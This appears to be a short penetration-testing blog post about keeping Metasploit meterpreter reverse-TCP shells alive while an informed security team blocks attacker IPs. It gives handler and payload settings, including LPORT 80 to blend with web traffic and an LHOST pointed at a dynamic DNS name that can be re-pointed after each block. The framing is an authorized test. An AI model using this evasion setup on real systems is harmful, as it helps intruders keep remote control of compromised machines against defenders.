scenario

Penetrate the organization during a specific time, while a security team, that has been duly informed of your attacks, is watching like a hawk, and has an overwhelming desire to block IPs (false sense of security).  So as your exploits are successful, and your payloads are delivered, the security team is drooling over the IDS and blocking your reverse TCP IP and ports faster than stink on… well, something very stinky.

assumptions

payload

windows/meterpreter/reverse_tcp_dns – This is important, as we want the precedence of host resolution to be on execute, not at compile time

exploit

multi/handler
windows/meterpreter/reverse_tcp

solution

obfuscation

The good old, and not usually very useful ‘security by obscurity’… or in this case insecurity.  By not using 4444 or 5555 we could maybe cause the In-house team to second guess whether or not to block an IP.

set LPORT = 80

Simple.  But not the most effective.  Even if it delays their blocking the IP, it will still get blocked, and you’ll be in a return to drawing-board (msfpayload) mode; and if this repeats… you’ll have wasted your time, your clients time, and ultimately the entire test.

better obfuscation

Who cares if they block the IP, let dns be your shield. Coupled with port 80 this makes for a nice little solution.

set LPORT = 80

set LHOST = pwnsauced.webhop.net (using DynDNS, but any DNS solution that you can manage will suffice)

Simple.  Effective. The nice thing is, that you don’t even have to wait for the in-house team to block the IP;  Depending on TTL and your distance from the compromised machine, you could even change the IP yourself. So let them block IPs, you just change up your dns and keep on Pwning.